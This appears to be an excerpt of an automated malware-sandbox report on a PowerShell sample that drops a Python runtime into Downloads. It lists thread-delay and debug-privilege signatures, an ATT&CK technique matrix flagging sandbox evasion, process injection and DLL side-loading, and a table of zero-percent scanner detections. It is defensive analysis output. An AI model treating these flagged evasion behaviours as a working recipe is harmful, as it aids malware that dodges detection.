Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 6321	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6046	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3783	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5454	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4181	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Launcher\pyshellext.amd64.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_testsinglephase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_testclinic.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Launcher\py.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Launcher\pyw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Python\Python312\DLLs\_testcapi.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep count: 6046 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep count: 3783 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7824	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7248	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8968	Thread sleep count: 5454 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8964	Thread sleep count: 4181 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9000	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: svchost.exe, 00000006.00000002.3261790908.000002450F258000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000006.00000002.3259539384.0000024509C2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: powershell.exe, 00000005.00000002.2585991130.0000017C1FBE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 PowerShell	1 Scripting	11 Process Injection	21 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	5 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	21 System Information Discovery	SSH	Keylogging	6 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Source	Detection	Scanner
C:\Users\user\Downloads\Python\Launcher\py.exe	0%	ReversingLabs
C:\Users\user\Downloads\Python\Launcher\pyshellext.amd64.dll	0%	ReversingLabs
C:\Users\user\Downloads\Python\Launcher\pyw.exe	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_bz2.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_ctypes_test.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_decimal.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_elementtree.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_lzma.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_msi.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_queue.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_socket.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_ssl.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_testbuffer.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_testcapi.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_testclinic.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_testconsole.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_testimportmultiple.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_testinternalcapi.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_testmultiphase.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_testsinglephase.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\DLLs\_tkinter.pyd	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\base_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\base_futures.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\base_subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\base_tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\exceptions.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\format_helpers.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\futures.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\locks.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\log.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\mixins.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\proactor_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\protocols.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\queues.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\runners.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\selector_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\sslproto.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\staggered.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\streams.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\taskgroups.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\threads.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\timeouts.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\transports.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\trsock.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\unix_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\windows_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\windows_utils.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\base64.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\bdb.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\bisect.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\bz2.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cProfile.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\calendar.py	0%	ReversingLabs
C:\Users\user\Downloads\Python\Python312\Lib\cgi.py	0%	ReversingLabs
